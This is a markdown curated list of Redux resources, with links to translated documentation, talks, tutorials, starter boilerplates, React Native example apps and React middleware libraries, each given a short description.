- [Redux](#redux)
- [Documentation of Redux](#documentation-of-redux)
- [Documentation of Redux(Simplified Chinese version)](#documentation-of-reduxsimplified-chinese-version)
- [Documentation of Redux(Russian version) (Work in progress)](#documentation-of-reduxrussian-version-work-in-progress)
- [Documentation of Redux(Traditional Chinese version)](#documentation-of-reduxtraditional-chinese-version)
- [Documentation of Redux(Portuguese version) (Work in progress)](#documentation-of-reduxportuguese-version-work-in-progress)
- [Documentation of Redux(Spanish version) (Work in progress)](#documentation-of-reduxspanish-version-work-in-progress)
- [Documentation of Redux(Korean version)](#documentation-of-reduxkorean-version)
- [Documentation of Redux(Sinhala|සිංහල version) (Work in progress)](#documentation-of-reduxsinhala%E0%B7%83%E0%B7%92%E0%B6%82%E0%B7%84%E0%B6%BD-version-work-in-progress)
- [Documentation of Redux(Japanese|日本語 version) (Work in progress)](#documentation-of-reduxjapanese%E6%97%A5%E6%9C%AC%E8%AA%9E-version-work-in-progress)
- [Marks](#marks)
- [Presentations](#presentations)
- [Resources](#resources)
- [Articles And Tutorials](#articles-and-tutorials)
- [Boilerplate](#boilerplate)
- [React Native - A framework for building native apps using React](#react-native---a-framework-for-building-native-apps-using-react)
- [React - A JavaScript library for building user interfaces](#react---a-javascript-library-for-building-user-interfaces)
- [Examples](#examples)
- [Similar libraries](#similar-libraries)
- [Deku - Functional view library for building UI components as an alternative to React](#deku---functional-view-library-for-building-ui-components-as-an-alternative-to-react)
- [Incremental DOM - Incremental DOM is a library for building up DOM trees and updating them in-place when data changes](#incremental-dom---incremental-dom-is-a-library-for-building-up-dom-trees-and-updating-them-in-place-when-data-changes)
- [WinJS - Windows Library for JavaScript](#winjs---windows-library-for-javascript)
- [AngularJS - HTML enhanced for web apps](#angularjs---html-enhanced-for-web-apps)
- [Angular - One framework. Mobile and desktop](#angular---one-framework-mobile-and-desktop)
- [Vue - A library for building modern web interfaces](#vue---a-library-for-building-modern-web-interfaces)
- [Polymer - Build modern apps using web components](#polymer---build-modern-apps-using-web-components)
- [Ember - A framework for creating ambitious web applications](#ember---a-framework-for-creating-ambitious-web-applications)
- [Meteor - Build apps that are a delight to use, faster than you ever thought possible](#meteor---build-apps-that-are-a-delight-to-use-faster-than-you-ever-thought-possible)
- [Mithril - A Javascript Framework for Building Brilliant Applications](#mithril---a-javascript-framework-for-building-brilliant-applications)
- [Backbone - Give your JS App some Backbone with Models, Views, Collections, and Events](#backbone---give-your-js-app-some-backbone-with-models-views-collections-and-events)
- [Aurelia - is a next gen JavaScript client framework for mobile, desktop and web that leverages simple conventions to empower your creativity](#aurelia---is-a-next-gen-javascript-client-framework-for-mobile-desktop-and-web-that-leverages-simple-conventions-to-empower-your-creativity)
- [Riot - A React-like user interface micro-library](#riot---a-react-like-user-interface-micro-library)
- [Electron - Build cross platform desktop apps with web technologies](#electron---build-cross-platform-desktop-apps-with-web-technologies)
- [A-Frame - A web framework for building VR experiences](#a-frame---a-web-framework-for-building-vr-experiences)
- [Chrome Extensions](#chrome-extensions)
- [Ruby on Rails Resources](#ruby-on-rails-resources)
- [Other languages](#other-languages)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
> List of repositories which use Redux
## [Redux](https://github.com/reactjs/redux)
## [Documentation of Redux](http://redux.js.org)
## [Documentation of Redux(Simplified Chinese version)](https://github.com/camsong/redux-in-chinese)
## [Documentation of Redux(Russian version)](https://rajdee.gitbooks.io/redux-in-russian/) (Work in progress)
## [Documentation of Redux(Traditional Chinese version)](http://chentsulin.github.io/redux/index.html)
## [Documentation of Redux(Portuguese version)](https://github.com/franzejr/redux-in-portuguese/) (Work in progress)
## [Documentation of Redux(Spanish version)](https://sergiodxa.gitbooks.io/redux-en-espanol/content/) (Work in progress)
## [Documentation of Redux(Korean version)](http://dobbit.github.io/redux/)
## [Documentation of Redux(Sinhala|සිංහල version)](https://sandaruny.github.io/redux-sin/) (Work in progress)
## [Documentation of Redux(Japanese|日本語 version)](https://miya-start.github.io/redux/) (Work in progress)
> Predictable state container for JavaScript apps
## Marks
* [Universal (Isomorphic)](http://isomorphic.net) - :metal:
* [Hot Reload](https://github.com/gaearon/react-transform-hmr) - :fire:
### Presentations
* [Let's learn React and Redux with Javascript's new ES6 syntax, from Beginner to Intermediate to Advanced.](https://www.youtube.com/watch?v=d0oUGmSE6IY&list=PLJBrYU54JD2pTblB20OmV7GL6H5J-p2g8)
* [A introduction about Redux](https://github.com/chentsulin/redux-intro)
* [Real World Redux](https://speakerdeck.com/chrisui/real-world-redux)
* [The power of higher-order reducers](http://slides.com/omnidan/hor)
* [Reactive Architecture with Redux and Angular](http://slides.com/evanschultz-1/reactive-angular)
* [Redux Internals](http://slides.com/vladimirnovick/reduxinternals)
* [Replacing Angular 1 with React and Redux](http://slides.com/scottprue-2/deck)
* [A tour on the React ecosystem](http://slides.com/cguedes/a-tour-on-react-ecosystem)
* [Redux from Twitter hype to production](http://slides.com/jenyaterpil/redux-from-twitter-hype-to-production#/)
---
### Resources
* [Many tools and middlewares](https://github.com/redux-effects)
* [Programming Community Curated Resources For Learning Redux](https://hackr.io/tutorials/learn-redux)
* [Redux offline docs](https://github.com/paulwittmann/redux-offline-docs)
* [Flux challenge](https://github.com/staltz/flux-challenge)
* [Sound Redux - a simple Soundcloud client](https://github.com/andrewngu/sound-redux)
* [Favesound Redux - SoundCloud Client for Artists](https://github.com/rwieruch/favesound-redux)
* [Structor - a user interface builder for React](https://github.com/ipselon/structor)
* [generator-redux - CLI tools for Redux: next-gen functional Flux/React with devtools](https://github.com/banderson/generator-redux)
* [generator-reactapp - Yeoman generator for react app with redux](https://github.com/Jackong/generator-reactapp)
* [Rekit - Toolkit for building scalable web apps with React, Redux and React-router](http://rekit.js.org)
* [Spectacle - ReactJS based Presentation Library](https://github.com/FormidableLabs/spectacle)
* [Notes (and partial transcription) of Dan Abramov's Redux course videos on http://egghead.io](https://github.com/tayiorbeii/egghead.io_redux_course_notes)
* [Comprehensive Notes for Learning (how to use) Redux to manage state in your Web/Mobile Apps](https://github.com/dwyl/learn-redux)
* [React Redux [RU tutorial]](https://maxfarseer.gitbooks.io/redux-course-ru/content/)
* [Redux without profanity](https://tonyhb.gitbooks.io/redux-without-profanity/content/index.html)
* [React and Redux Single Page Applications Resources](https://medium.com/@sapegin/react-and-redux-single-page-applications-resources-22cd859b0c1d#.o66rolp0p)
* [A categorized list of Redux-related addons, libraries, and utilities](https://github.com/markerikson/redux-ecosystem-links)
* [Building the F8 2016 App (Redux, GraphQL, React Native)](http://makeitopen.com/tutorials/building-the-f8-app/planning/)
* [The Elm Architecture in JavaScript](https://github.com/salsita/redux-elm)
* [React Redux Workflow - Graphical Cheat Sheet](https://github.com/uanders/react-redux-cheatsheet)
---
### Articles And Tutorials
* [Building Applications with React and Redux in ES6 on Pluralsight](https://app.pluralsight.com/library/courses/react-redux-react-router-es6)
* [Writing a Basic App in Redux](http://davidandsuzi.com/writing-a-basic-app-in-redux)
* [Learn how to use Redux step by step](https://github.com/happypoulp/redux-tutorial)
* [Tutorial: Handcrafting an Isomorphic Redux Application (With Love)](https://medium.com/@bananaoomarang/handcrafting-an-isomorphic-redux-application-with-love-40ada4468af4)
* [0 to 1 : Getting started with Redux](http://www.jchapron.com/2015/08/14/getting-started-with-redux)
* [Redux Chinese Document](https://github.com/camsong/redux-in-chinese)
* [Redux Document (Traditional Chinese)](https://github.com/chentsulin/redux)
* [Relay and Routing](https://medium.com/@cpojer/relay-and-routing-36b5439bad9)
* [Understanding Redux Middleware](https://medium.com/@meagle/understanding-87566abcfb7a)
* [Several videos about Redux + Falcor](https://www.livecoding.tv/ekosz/videos) and [Example code](https://github.com/ekosz/postcard-sender)
* [Redux Middleware: Behind the Scenes](http://briantroncone.com/?p=529)
* [A proposal for bundling reducers, action types and actions when using Redux](https://github.com/erikras/ducks-modular-redux)
* [Full-Stack Redux Tutorial - A Comprehensive Guide to Test-First Development with Redux, React, and Immutable](http://teropa.info/blog/2015/09/10/full-stack-redux-tutorial.html) Source [Server](https://github.com/teropa/redux-voting-server) + [Client](https://github.com/teropa/redux-voting-client)
* [Redux best practices](https://medium.com/lexical-labs-engineering/redux-best-practices-64d59775802e)
* [The 3REE Stack: React + Redux + RethinkDB + Express.js](http://blog.workshape.io/the-3ree-stack-react-redux-rethinkdb-express-js)
* [React Tutorial - Converting Reflux to Redux](http://engineering.wework.com/process/2015/10/01/react-reflux-to-redux)
* [Redux example using 500px API (with ES6)](https://github.com/yildizberkay/redux-example)
* [Building a boilerplate for a Koa, Redux, React application including Webpack, Mocha and SASS](http://blog.joanboixados.com/building-a-boilerplate-for-a-koa-redux-react-application-including-webpack-mocha-and-sass/) - This article explains in detail how [this koa-redux-react-boilerplate](https://github.com/mezod/boilerplate-koa-redux-react) was built and the technologies it uses.
* [Typed React and Redux](http://jaysoo.ca/2015/09/26/typed-react-and-redux)
* [A cartoon intro to Redux](https://code-cartoons.com/a-cartoon-intro-to-redux-3afb775501a6#.8k7536uqu)
* [Join The Dark Side Of The Flux: Responding to Actions with Actors](http://jamesknelson.com/join-the-dark-side-of-the-flux-responding-to-actions-with-actors)
* [Can I dispatch multiple actions from Redux action creators?](http://jamesknelson.com/can-i-dispatch-multiple-actions-from-redux-action-creators)
* [Understanding Redux (or, How I Fell in Love with a JavaScript State Container)](http://www.youhavetolearncomputers.com/blog/2015/9/15/a-conceptual-overview-of-redux-or-how-i-fell-in-love-with-a-javascript-state-container)
* [Your First Immutable React & Redux App](http://reactjsnews.com/your-first-redux-app)
* [Getting Started with Redux - Egghead's video lessons from Dan Abramov](https://egghead.io/series/getting-started-with-redux)
* [Redux Testing Video Lessons - a few short Egghead video lessons (some free, some require a subscription)](https://egghead.io/series/react-testing-cookbook)
* [Implementing a smart Login Modal with Redux, reselect and ReactJS](https://medium.com/@dorsha/implement-login-modal-with-redux-reselect-and-reactjs-668c468bcbe3#.lnwisap8c)
* [How to Build a Todo App Using React, Redux, and Immutable.js](http://www.sitepoint.com/how-to-build-a-todo-app-using-react-redux-and-immutable-js)
* [Rethinking Redux](https://voice.kadira.io/rethinking-redux-f1e96daba60c#.hp5v516ie)
* [Managing Side Effects In React + Redux Using Sagas](http://jaysoo.ca/2016/01/03/managing-processes-in-redux-using-sagas)
* [Secure Your React and Redux App with JWT Authentication](https://auth0.com/blog/2016/01/04/secure-your-react-and-redux-app-with-jwt-authentication)
* [Getting started with Redux and GraphQL](https://medium.com/@thisbejim/getting-started-with-redux-and-graphql-8384b3b25c56#.3anuh1m7x)
* [Data Flows with Angular and Redux](http://www.sitepoint.com/data-flows-angular-2-redux)
* [Simple Routing with Redux and React](http://jamesknelson.com/simple-routing-redux-react)
* [Redux nowadays : From actions creators to sagas](https://riadbenguella.com/2015/12/28/redux-nowadays-from-actions-creators-to-sagas/)
* [Master Complex Redux Workflows with Sagas](http://konkle.us/master-complex-redux-workflows-with-sagas)
* [Angular Application Architecture - Building Flux Apps with Redux and Immutable.js](http://blog.jhades.org/angular-2-application-architecture-building-flux-like-apps-using-redux-and-immutable-js-js)
* [React, Redux and Immutable.js: Ingredients for Efficient Web Applications](http://www.toptal.com/react/react-redux-and-immutablejs)
* [An Introduction to React Redux (Part 1)](https://shellmonger.com/2016/02/16/an-introduction-to-react-redux-part-1)
* [An Introduction to React Redux (Part 2)](https://shellmonger.com/2016/02/19/an-introduction-to-react-redux-part-2)
* [Rules For Structuring (Redux) Applications](http://jaysoo.ca/2016/02/28/organizing-redux-application)
* [Redux for the very beginner](http://toranbillups.com/blog/archive/2016/01/22/redux-for-the-very-beginner)
* [Redux - Calling web service asynchronously](http://www.zohaib.me/redux-call-service-async/)
* [Animating with React, Redux, and d3](http://swizec.com/blog/animating-with-react-redux-and-d3/swizec/6775)
* [Build an Image Gallery Using React, Redux and redux-saga](http://joelhooks.com/blog/2016/03/20/build-an-image-gallery-using-redux-saga/)
* [Introducing redux-operations](https://medium.com/@matt.krick/introducing-redux-operations-332ab56e468b#.7e30nsxne)
* [Solving Redux’s shortcoming in 150 LOCs](https://medium.com/@matt.krick/solving-redux-s-shortcoming-in-150-locs-540979ce6cf9#.sw0s478j6)
* [The Anatomy Of A React Redux App](https://medium.com/@rajaraodv/the-anatomy-of-a-react-redux-app-759282368c5a#.h05vq2uaj)
* [Getting Started with React, Redux and Immutable: a Test-Driven Tutorial (Part 2)](http://www.theodo.fr/blog/2016/03/getting-started-with-react-redux-and-immutable-a-test-driven-tutorial-part-2/)
* [Leveling Up with React: Redux](https://css-tricks.com/learning-react-redux/)
* [Complete intro to react](http://btholt.github.io/complete-intro-to-react/)
* [Recreating Redux — Behind the magic curtain](https://medium.com/@nicktho/recreating-redux-behind-the-magic-curtain-c21edd542c9c#.a93sgufyi)
* [Let's Build a Redux Powered React Application](https://stormpath.com/blog/build-a-redux-powered-react-application/)
* [Deep Introduction to Redux - Seriese 1/3](https://www.codementor.io/reactjs/tutorial/intro-to-react-redux-pros)
* [Universal Rendering with Redux and React-Router - Seriese 2/3](https://www.codementor.io/reactjs/tutorial/redux-server-rendering-react-router-universal-web-app)
* [Unit Testing Redux Apps - Seriese 3/3](https://www.codementor.io/reactjs/tutorial/redux-unit-test-mocha-mocking)
* [Using Aurelia and Redux together for good times all around](https://zen.id.au/using-aurelia-and-redux-together-for-good-times-all-around/)
* [Comparing Redux and Relay](https://www.reindex.io/blog/redux-and-relay/)
* [Building React Applications with Idiomatic Redux](https://egghead.io/courses/building-react-applications-with-idiomatic-redux)
* [The SoundCloud Client in React + Redux](http://www.robinwieruch.de/the-soundcloud-client-in-react-redux)
* [深入浅出 Redux](https://github.com/berwin/Blog/issues/4)
* [Building Angular 2 applications with Immutable.js and Redux](http://houssein.me/redux/immutablejs/angular2/2016/07/04/angular2-with-immutablejs-and-redux.html)
* [Tutorial: Building Redux in TypeScript with Angular](http://blog.ng-book.com/introduction-to-redux-with-typescript-and-angular-2/)
* [Improving React and Redux performance with Reselect](http://blog.rangle.io/react-and-redux-performance-with-reselect/)
* [Recipes for Redux](http://blog.rangle.io/recipes-for-redux/)
* [Getting Started with Redux & Angular](http://blog.rangle.io/getting-started-with-redux-and-angular-2/)
* [Universal/Isomorphic React+Redux on a Swift Web Backend](https://el-tramo.be/blog/react-swift/)
* [Creating Reusable React-Redux Components Through Scoping](http://engineering.datadoghq.com/redux-doghouse--creating-reusable-react-redux-components-through-scoping/)
* [React+Redux系列教程](https://github.com/lewis617/react-redux-tutorial)
* [书籍：《React 与 Redux 开发实例精解》](https://lewis617.github.io/2016/11/20/r2-book/)
* [How to use Redux on highly scalable javascript applications?](https://medium.com/@alexmngn/how-to-use-redux-on-highly-scalable-javascript-applications-4e4b8cb5ef38#.irwibmm9a)
* [AngularJS to React/Redux, a Guide for AngularJS Experts Looking to Learn React/Redux](https://github.com/GoTeamEpsilon/angular-to-react-redux)
* [Redux in Action](https://www.manning.com/books/redux-in-action)
* [Redux in Motion](https://www.manning.com/livevideo/redux-in-motion)
* [Learn Redux by coding a Mini-Redux](https://blog.jakoblind.no/learn-redux-by-coding-a-mini-redux/)
* [How We Use Redux and Redux-Observable with Vue](https://snipcart.com/blog/redux-vue)
* [Introduction to Redux Saga](https://www.loginradius.com/blog/async/introduction-to-redux-saga/)
---
### Boilerplate
* [**redux-minimal** - Minimalist react-redux starter kit which let's you build rich real world apps](http://redux-minimal.js.org/)
* [**Modern and Scalable React/Redux Boilerplate** - Flexible starter kit using Webpack 2 (tree-shaking) / React Hot Loader v3 / Code Splitting for React Router / PostCSS / CSS Modules / custom *Ducks pattern* app architecture / best practices / Sentry error tracking / Enzyme test environment](https://github.com/nicksp/redux-webpack-es6-boilerplate) :rocket:
* [**react-production-starter** - React boilerplate with isomorphic rendering, async react-router routes, async redux reducers, async data fetching, and code-splitting.](https://github.com/jaredpalmer/react-production-starter) :metal: :fire:
* [**mern.io** - Simple full-stack boilerplate to get started with building isomorphic/universal apps, handles api part and also offers a cli to generate the boilerplate](https://github.com/hashnode/mern-starter) :metal: :fire:
* [**universal-react-redux** - Opinionated Universal React/Redux/Webpack with HMR. Continually updated.](https://github.com/combine/universal-react-redux) :metal: :fire:
* [**react-slingshot** - React Redux Starter Kit with hot reloading, tests and example app](https://github.com/coryhouse/react-slingshot)
* [**react-redux-boilerplate** - React Redux Boilerplate](https://github.com/knowbody/react-redux-boilerplate)
* [**react-boilerplate** - React + Typescript + Sass boilerplate](https://github.com/Keats/react-boilerplate)
* [**react-redux-scaffold** - Combination of redux, react-router and ES6+ support](https://github.com/lcjnil/react-redux-scaffold)
* [**simple-redux-boilerplate** - Simple and guided React, Redux boilerplate w/ Transform HMR! :fire:](https://github.com/tsaiDavid/simple-redux-boilerplate)
* [**stapp** - A Frontend boilerplate for High productivity :fire:](https://github.com/theaidem/stapp)
* [**reactv** - React Redux example](https://github.com/Amorino/reactv)
* [**redux-boilerplate** - Boilerplate for Redux](https://github.com/ellbee/redux-boilerplate)
* [**react-redux-starter-kit** - Get started with React, Redux, and React-Router.](https://github.com/davezuko/react-redux-starter-kit)
* [**simplest-redux-example** - Simplest Redux + React example for beginners](https://github.com/jackielii/simplest-redux-example)
* [**redux-easy-boilerplate** - React Redux easy boilerplate](https://github.com/anorudes/redux-easy-boilerplate)
* [**dicty-redux** - Starter kit to bootstrap React and Redux (Flux) based web application](https://github.com/dictyBase/dicty-redux)
* [**3ree** - Boilerplate & Demo for Universal Realtime Apps built with React + Redux + RethinkDB + Express](https://github.com/GordyD/3ree)
* [**react_scaffolding** - React + React Router 1.0 + Redux + Webpack & Hot Module Replacement](https://github.com/rafaelchiti/react_scaffolding)
* [**express-redux-sample** - Express-Redux-PassportJs-MySQL Boilerplate](https://github.com/aybmab/express-redux-sample)
* [**redux-blog-example** - Redux-Webpack-Babel Blog Platform boilerplate](https://github.com/GetExpert/redux-blog-example)
* [**redux-undo-boilerplate** - a magical boilerplate with hot reloading and awesome error handling](https://github.com/omnidan/redux-undo-boilerplate)
* [**redux500** - The Redux version of isomorphic500](https://github.com/gpbl/redux500)
* [**redux-demo** - Redux port of SurviveJS - Webpack and React Kanban app](https://github.com/survivejs/redux-demo)
* [**react-redux-universal-hot-example** - A starter boilerplate for a universal webapp using express, react, redux, webpack, and react-hot-loader](https://github.com/erikras/react-redux-universal-hot-example) :metal:
* [**rde** - Reactive Live Programming Environment](https://github.com/levjj/rde)
* [**React Redux Starter Kit** - Yet another React and Redux based web application starter kit](https://github.com/cloudmu/react-redux-starter-kit)
* [**skeleton** - A simple project-stub to show the basic ideas. Also serves you as a quick start for your project (Mori + Redux)](https://github.com/sullenor/skeleton)
* [**browser-redux** - Building Chrome apps and cross-browser extensions with Redux and Webpack](https://github.com/zalmoxisus/browser-redux)
* [**react-for-hipsters-boilerplate** - Fresh boilerplate with brand new hot reloading confing and other hipster stuff](https://github.com/chicoxyzzy/react-for-hipsters-boilerplate)
* [**Documented Koa Redux React Webpack boilerplate**](https://github.com/mezod/boilerplate-koa-redux-react)- The building process of this boilerplate is deeply documented from 0 for learning purposes. [You can find the docs here](http://blog.joanboixados.com/building-a-boilerplate-for-a-koa-redux-react-application-including-webpack-mocha-and-sass/).
* [**err** - Electron, React, Redux-devtools boilerplate for building cross-platform apps.](https://github.com/tuommii/err)
* [**friends-app-redux** - React Redux Universal Hot Example](https://github.com/banzay/friends-app-redux)
* [**isomorphic-redux-app** - Redux Isomorphic App (with async content)](https://github.com/caljrimmer/isomorphic-redux-app)
* [**starter-kit** - Project boilerplate using React, Redux and Uniloc http://unicornstandard.com/packages/boilerplate.html](https://github.com/unicorn-standard/starter-kit)
* [**loopback-redux-react-boilerplate** - A boilerplate for a Redux-React application using LoopBack](https://github.com/tngan/loopback-redux-react-boilerplate)
* [**breko-hub** - **B**abel **Rea**ct **Ko**a **H**ot **U**niversal **B**oilerplate -- A simple, clean and consistent boilerplate for creating universal webapps with universal data fetching and SocketIO integration](https://github.com/tomatau/breko-hub)
* [**React Redux Cordova Boilerplate**](https://github.com/inderps/react-redux-cordova-boilerplate)
* [**react-boilerplate** - Performance orientated, offline-first boilerplate feat. hot-reloading, PostCSS and the best developer experience.](https://github.com/mxstbr/react-boilerplate)
* [**react-webpack-node** - Boilerplate for an universal React + Redux/alt Flux application using Webpack running on a node express server](https://github.com/choonkending/react-webpack-node)
* [**Hapi React Starter Kit** - Universal, Redux, Redis, Socket.io, Intl](https://github.com/Dindaleon/hapi-react-starter-kit)
* [**Universal Redux Template** - A clean, extensible react + redux boilerplate with universal rendering, testing and more](https://github.com/mz026/universal-redux-template)
* [**universal-js** - A universal Javascript starter kit inc. React, Redux, Redux Dev Tools, Universal Redux Router, CSS Modules, hot module reloading, Babel for ES2015+ and ESLint](https://github.com/colinmeinke/universal-js)
* [**redux-react-material-boilerplate** - Simple boilerplate inc. React, Redux, Hot reload and Material-ui](https://github.com/WapGeaR/redux-react-material-boilerplate)
* [**react-redux-starter** - React Redux Starter](https://github.com/exeto/react-redux-starter)
* [**Reduxible** - The Fast and Easy way to make a React + Redux apps](https://github.com/Pitzcarraldo/reduxible)
* [**react-workflow** - A large SPA boilerplate for web development built on top of Facebook's React library,use redux architecture](https://github.com/chen844033231/react-workflow)
* [**ReacToGo** - A simple ES6 boilerplate with Redux architecture and ImmutableJS: Hot Reload, React UI Comp, Firebase, Router](https://github.com/PBRT/reactogo)
* [**React/Redux simple CRUD** with persistent state and local async actions (add a manifest file and you get an offline webapp) ](https://github.com/cristianszwarc/react_crud_localStorage)
* [**StarHackIt** - An React/Redux Node full-stack starter kit with authentication and authorization code](https://github.com/FredericHeem/starhackit)
* [**React Seed** - A barebones scalable directory structure and package.json for facilitating new React + Redux projects. No fat to trim here!](https://github.com/andrewcoelho/react-seed)
* [**React/Redux with Auth boilerplate** - Very simple boilerplate, good for fast creating admin panels / dashboard. Included: React, Redux, ReduxForm, React-Router, Simple Authenticate, Hot Reload and Webpack (with babel) :fire:](https://github.com/WapGeaR/react-redux-boilerplate-auth)
* [**Docker + React/Redux + Node + PostgreSQL** - full stack boilerplate with fully dockerized workflows for development, deployment, testing](https://github.com/Producters/docker-node-react-starter)
* [**Redux universal boilerplate** - boilerplate for react universal application building on flux architecture based on redux implementation.](https://github.com/ufocoder/redux-universal-boilerplate)
* [**React Redux Universal Boilerplate** - An Universal ReactJS/Redux Boilerplate.](https://github.com/kiki-le-singe/react-redux-universal-boilerplate)
* [**react-hot-redux-firebase-starter** - Starter boilerplate for using React/Redux with Firebase 3.0 API, include the new React Hot Loader 3.0 :fire:](https://github.com/douglascorrea/react-hot-redux-firebase-starter)
* [**React Redux Firebase Boilerplate** - Designed for quickly spin up your apps with Firebase, using bunch of awesome new front-end technologies includes webpack build system, hot reloading, routing & sass support. :fire:](https://github.com/btomashvili/react-redux-firebase-boilerplate)
* [**React Universal Saga** - Universal React Starter Kit ft. Redux Saga](https://github.com/xkawi/react-universal-saga)
* [**React Redux SoundCloud Client** - Seed Project for a SoundCloud Client with working Login + Extension Seed Projects](https://github.com/rwieruch/react-redux-soundcloud)
* [**vortigern** - A universal boilerplate for building web applications w/ TypeScript, React, Redux and more.](https://github.com/barbar/vortigern)
* [**angular2-redux-contact-list** - Simple contact list built with Angular, Immutable.js and Redux](https://github.com/hdjirdeh/angular2-redux-contact-list)
* [**react-redux-seed** - 使用 React 与 Redux 实现 Universal 渲染的种子工程](https://github.com/lewis617/react-redux-seed)
* [**ARc** - A progressive React starter kit based on Atomic Design with redux, redux-saga and redux-form](https://arc.js.org)
* [**edux** - fast Redux without constants and switches. Actions and reducers are generated from single source.](https://github.com/dogada/edux)
* [**fast-redux** - Redux extension with O(1) speed and dynamic importing of reducers/actions.](https://github.com/dogada/fast-redux)
* [**zero-boilerplate-redux** - An example real-world Redux CRUD application with no boilerplate](https://github.com/jmeas/zero-boilerplate-redux)
* [**cra-template-redux-auth-starter** - A Redux auth starter boilerplate for CRA](https://github.com/Nilanth/cra-template-redux-auth-starter)
---
### [React Native - A framework for building native apps using React](https://facebook.github.io/react-native)
* Examples
* [CarteJaune - An open source Redux/ExponentJS (React Native) app leveraging redux-saga to keep track of your vaccinations](https://github.com/nikgraf/CarteJaune)
* [noder-react-native - The mobile app of cnodejs.org written in React Native](https://github.com/soliury/noder-react-native)
* [react-native-redux-counter](https://github.com/hzyIO/react-native-redux-counter)
* [react-native-counter-ios-android](https://github.com/chentsulin/react-native-counter-ios-android)
* [react-native-redux-groceries - An example app using React Native, Redux, Firebase, and AsyncStorage for offline data](https://github.com/bruz/react-native-redux-groceries)
* [react-native-sound-cloud](https://github.com/fraserxu/soundredux-native)
* [snowflake - mobile app starter: Login, Logout, Reset Password, Update Profile, Hot Reload](https://github.com/bartonhammond/snowflake)
* [uestc-bbs-react-native - An iOS client for http://bbs.uestc.edu.cn/ written in React Native with Redux](https://github.com/just4fun/uestc-bbs-react-native)
* [movies-redux - redux implementation of react-native movies example that is included in react-native source](https://github.com/nara/movies-redux)
* [react-native-redux-todo-list - A sample todo list app developed by using react-native and redux](https://github.com/uiheros/react-native-redux-todo-list)
---
### [React - A JavaScript library for building user interfaces](http://facebook.github.io/react)
* Containers
* [**reapop** - A React & Redux notifications system](https://github.com/LouisBarranqueiro/reapop)
* [**react-redux-modal-provider** - Redux-powered abstract React modal state manager](https://github.com/myaskevich/react-redux-modal-provider)
* [**react-redux-modal-flex** - Accessible modal dialog component for React, easy to install and use with Redux](https://github.com/tronghiep92/react-redux-modal-flex)
* Middlewares
* [**redux-cheerio** - Make HTTP requests and then parse the responses with jQuery selectors using Cheerio](https://github.com/therewillbecode/redux-cheerio)
* [**redux-reporter** - Report actions & metadata to 3rd party providers, extremely useful for analytics and error handling (New Relic, Sentry, Adobe DTM, Keen, etc.)](https://github.com/ezekielchentnik/redux-reporter)
* [**redux-transduce** - Transducer utilities for Redux](https://github.com/acdlite/redux-transduce)
* [**redux-actions** - Flux Standard Action utilities for Redux](https://github.com/acdlite/redux-actions)
* [**redux-promise** - FSA-compliant promise middleware for Redux](https://github.com/acdlite/redux-promise)
* [**redux-sync-promise** - Middleware for writing asynchronous actions in synchronous style](https://github.com/shanhaichik/redux-sync-promise)
* [**redux-simple-promise** - FSA-compliant promise middleware for Redux with simple behaviour with minimal boilerplate declarations](https://github.com/alanrubin/redux-simple-promise)
* [**redux-async** - FSA-compliant promise property middleware for Redux](https://github.com/symbiont-io/redux-async)
* [**redux-async-queue** - Manage queues of thunk actions](https://github.com/zackargyle/redux-async-queue)
* [**redux-async-initial-state** - Set initial Redux state asynchronously](https://github.com/KELiON/redux-async-initial-state)
* [**redux-await** - Manage async redux actions sanely](https://github.com/kolodny/redux-await)
* [**redux-rx** - RxJS utilities for Redux](https://github.com/acdlite/redux-rx)
* [**reselect** - Selector library for Redux like in NuclearJS](https://github.com/reactjs/reselect)
* [**eslint-plugin-redux-reselect** - Eslint rules for Selector library](https://github.com/viktor-ku/eslint-plugin-redux-reselect)
* [**react-redux** - React bindings for Redux](https://github.com/rackt/react-redux)
* [**redux-react-router** - Redux bindings for React Router – keep your router state inside your Redux store](https://github.com/acdlite/redux-react-router)
* [**redux-promise-middleware** - Redux middleware for resolving and rejecting promises](https://github.com/pburtchaell/redux-promise-middleware)
* [**redux-thunk** - Thunk middleware for Redux](https://github.com/gaearon/redux-thunk)
* [**redux-batched-updates** - Batch React updates that occur as a result of Redux dispatches, to prevent cascading renders.](https://github.com/acdlite/redux-batched-updates)
* [**redux-combine-actions** - Redux middleware that allows you to easy combine actions and dispatch them sequentially](https://github.com/itsmepetrov/redux-combine-actions)
* [**redux-catch-promise** - Extended replacement of redux-thunk middleware to supporting async-await functions and implement server-side rendering for React components with async state](https://github.com/DenisIzmaylov/redux-catch-promise)
* [**redux-delegator** - Compose redux reducers in a structured way](https://github.com/lapanoid/redux-delegator)
* [**routex** - Simple router for Redux universal applications. Can be used with React too](https://github.com/michalkvasnicak/routex)
* [**redux-persist-store** - Persist and rehydrate a redux store](https://github.com/rt2zz/redux-persist-store)
* [**adrenaline** - React bindings for Redux with Relay in mind](https://github.com/gyzerok/adrenaline)
* [**redux-localstorage** - Store enhancer that syncs (a subset) of your Redux store state to localstorage.](https://github.com/elgerlambert/redux-localstorage)
* [**redux-storage** - Persistence layer for redux with flexible backends](https://github.com/michaelcontento/redux-storage)
* [**redux-pouchdb** - sync store state to pouchdb](https://github.com/vicentedealencar/redux-pouchdb)
* [**redux-vstack-router** - Helpers to bind vstack-router to redux](https://github.com/vslinko/redux-vstack-router)
* [**redux-create-store**](https://github.com/phated/redux-create-store)
* [**redux-batched-subscribe** - Batch calls to subscribe handlers with a custom function, including debouncing or React batched updates.](https://github.com/tappleby/redux-batched-subscribe)
* [**redux-logger** - Logger middleware for Redux](https://github.com/fcomb/redux-logger)
* [**redux-node-logger** - A Redux Logger for Node Environments](https://github.com/low-ghost/redux-node-logger)
* [**redux-diff-logger** - Diff logger between states for Redux](https://github.com/fcomb/redux-diff-logger)
* [**redux-debug** - debug(...) middleware for Redux](https://github.com/lapwinglabs/redux-debug)
* [**redux-requests** - Avoid issuing duplicate HTTP requests](https://github.com/idolize/redux-requests)
* [**redux-owl** - Redux One Way Linking](https://github.com/rt2zz/redux-owl)
* [**redux-act** - An opinionated lib to create actions and reducers for Redux](https://github.com/pauldijou/redux-act)
* [**redux-act-async** - Reducing boilerplate when creating asynchronous actions in Redux](https://github.com/FredericHeem/redux-act-async)
* [**redux-raven-middleware** - Redux middleware for sending error reports to Sentry through raven-js](https://github.com/ngokevin/redux-raven-middleware)
* [**react-redux-persist-sentry-middleware** - Redux middleware for sending error reports along with persisted data as payload to Sentry through raven-js](https://github.com/rishantagarwal/react-redux-persist-sentry-middleware)
* [**redux-routing** - Universal routing built on top of redux](https://github.com/callum/redux-routing)
